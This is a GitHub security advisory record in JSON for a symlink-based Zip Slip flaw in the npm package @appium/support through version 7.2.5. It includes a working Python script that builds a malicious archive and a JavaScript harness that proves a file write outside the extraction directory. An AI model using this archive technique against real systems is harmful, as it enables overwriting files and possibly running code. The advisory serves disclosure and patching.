{"id":"GHSA-qfxx-c367-67f8","summary":"Appium: Symlink based Zip Slip in @appium/support ZIP extraction","details":"### Summary\n\nCVE-2026-30973 [(GHSA-rfx7-4xw3-gh4m)](https://github.com/appium/appium/security/advisories/GHSA-rfx7-4xw3-gh4m) was a plain path traversal in the entry name. The containment check built an Error object without throwing it, so an entry literally named something like `../evil.txt` was written outside the destination. That issue was fixed in @appium/support 7.0.6 by actually rejecting out of bound entry names.\n\nThis finding is a different vector that the 7.0.6 fix does not cover. The archive entry names here are completely legitimate (for example `pwn` and `pwn/owned.txt`, no `..` anywhere), so every name based defense accepts them. The escape happens through a symbolic link. One entry is a symlink whose target points outside the extraction directory, and a later entry is a regular file whose name resolves through that symlink. The name based containment check never inspects the symlink target, and the extractor writes the symlink target verbatim, so the file lands outside the extraction root.\n\nThe two issues compared on the same patched version 7.2.5:\n\n| | CVE-2026-30973 | This finding |\n|---|---|---|\n| Vector | one entry whose name contains `..` | a symlink entry plus a file written through it |\n| Entry names | contain `..` (illegal) | legitimate, no `..` and not absolute |\n| What is missing | the `..` name chec\\k did not throw | name checks never resolve symlinks, and the symlink target is unchecked |\n| Entries needed | one | two |\n| Fixed in 7.0.6 | yes | no |\n| Status on 7.2.5 | blocked | still exploitable (proven below) |\n\n\n\n### Details\n\n## Root cause\n\nThe extractor applies only a lexical containment check on each entry's own name, then for a symlink entry it creates the link with the target taken straight from the archive:\n\n```js\n// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5\n97   if (!isSubPath(dest, dir)) {                 // lexical only, never resolves symlinks\n98       throw new Error(`Out of bound path \"${dest}\" found while processing file ${fileName}`);\n99   }\n...\n142  await fs.symlink(link, dest);                // link target comes verbatim from the archive\n```\n\n`isSubPath` compares normalized strings and does not call realpath, so for the file entry `pwn/owned.txt` the destination `dir/pwn/owned.txt` is lexically inside `dir` and the check passes, even though `dir/pwn` is a symlink created by the previous entry that points outside `dir`. The write then follows that symlink and escapes. The symlink target itself is never validated against the extraction root.\n\n### PoC\n\n\u003cimg width=\"1443\" height=\"411\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a\" /\u003e\n\n\n\nbuild_zips.py\n\n\n```python\n#!/usr/bin/env python3\n\nimport os, sys, zipfile, shutil\n\nwork = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/zswork\"\npid = os.getpid()\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# Test A: CVE-2026-30973 plain \"../\" path traversal in the entry name\nextractA = os.path.join(work, \"extractA\"); os.makedirs(extractA)\nescapeA_name = f\"escapeA_{pid}.txt\"            # would land in work/ (outside extractA)\nescapeA = os.path.join(work, escapeA_name)\nzipA = os.path.join(work, \"cve_vector.zip\")\nwith zipfile.ZipFile(zipA, \"w\") as z:\n    z.writestr(\"../\" + escapeA_name, \"CVE-2026-30973 plain traversal\\n\")\n\n# Test B: symlink entry whose target escapes, then a file through it \nextractB = os.path.join(work, \"extractB\"); os.makedirs(extractB)\nescapeB = os.path.join(work, f\"escapeB_{pid}\"); os.makedirs(escapeB)\nzipB = os.path.join(work, \"symlink_bypass.zip\")\nwith zipfile.ZipFile(zipB, \"w\") as z:\n    sl = zipfile.ZipInfo(\"pwn\")\n    sl.create_system = 3                       # unix, so external_attr carries the mode\n    sl.external_attr = (0o120777 & 0xFFFF) \u003c\u003c 16   # S_IFLNK | 0777\n    z.writestr(sl, escapeB)                     # symlink target is the file body\n    fi = zipfile.ZipInfo(\"pwn/owned.txt\")\n    fi.create_system = 3\n    fi.external_attr = (0o100644 & 0xFFFF) \u003c\u003c 16\n    z.writestr(fi, \"PWNED via symlink Zip Slip\\n\")\n\nprint(\"\\t\".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))\n```\n\nzipslip_poc.js\n\n\n```javascript\n'use strict';\nconst fs = require('fs');\nconst path = require('path');\nconst support = require('@appium/support');\n\nconst [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;\n\n(async () =\u003e {\n  const ver = require('@appium/support/package.json').version;\n  console.log(`[*] @appium/support version: ${ver}`);\n  console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);\n\n  // Test A: the CVE-2026-30973 vector\n  console.log('\\n=== Test A: CVE-2026-30973 plain \"../\" entry name ===');\n  let aBlocked = false;\n  try {\n    await support.zip.extractAllTo(zipA, extractA);\n  } catch (e) {\n    aBlocked = true;\n    console.log(`[+] REJECTED by extractor: ${String(e.message).split('\\n')[0]}`);\n  }\n  const aEscaped = fs.existsSync(escapeA);\n  console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`);\n\n  // Test B: this finding, the symlink bypass \n  console.log('\\n=== Test B: symlink entry + file written through it (this finding) ===');\n  try {\n    await support.zip.extractAllTo(zipB, extractB);\n  } catch (e) {\n    console.log(`[i] extractor message: ${String(e.message).split('\\n')[0]}`);\n  }\n  const planted = path.join(escapeB, 'owned.txt');\n  const bEscaped = fs.existsSync(planted);\n  if (bEscaped) {\n    console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED');\n    console.log(`    wrote  : ${planted}`);\n    console.log(`    content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`);\n  } else {\n    console.log('[-] symlink vector did not escape');\n  }\n\n  console.log('\\n=== SUMMARY (same installed version) ===');\n  console.log(`A  CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`);\n  console.log(`B  symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`);\n  process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2);\n})().catch((e) =\u003e {\n  console.error('ERROR', e);\n  process.exit(3);\n});\nuse\n```\n\n\n### Impact\n\nAn attacker who controls an archive that Appium extracts can write files to arbitrary locations writable by the Appium process, since the write follows a symlink to any target the archive specifies. Depending on where Appium runs this can overwrite a configuration file, drop a script into a startup or profile location, or replace a binary on the PATH, which can escalate to code execution. On a continuous integration runner or a device farm host the reachable paths include anything writable by the service account.","aliases":["CVE-2026-103975"],"modified":"2026-10-15T20:30:05.447884211Z","published":"2026-10-15T20:18:56Z","database_specific":{"github_reviewed_at":"2026-10-15T20:18:56Z","nvd_published_at":"2026-10-14T18:17:21Z","cwe_ids":["CWE-59"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/appium/appium/security/advisories/GHSA-qfxx-c367-67f8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103975"},{"type":"WEB","url":"https://github.com/appium/appium/pull/22436"},{"type":"WEB","url":"https://github.com/appium/appium/commit/d9eb36f413153e28b04b92d8ce4447da270371c0"},{"type":"PACKAGE","url":"https://github.com/appium/appium"},{"type":"WEB","url":"https://github.com/appium/appium/releases/tag/@appium/support@7.2.6"}],"affected":[{"package":{"name":"@appium/support","ecosystem":"npm","purl":"pkg:npm/%40appium/support"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.2.6"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 7.2.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-qfxx-c367-67f8/GHSA-qfxx-c367-67f8.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"}]}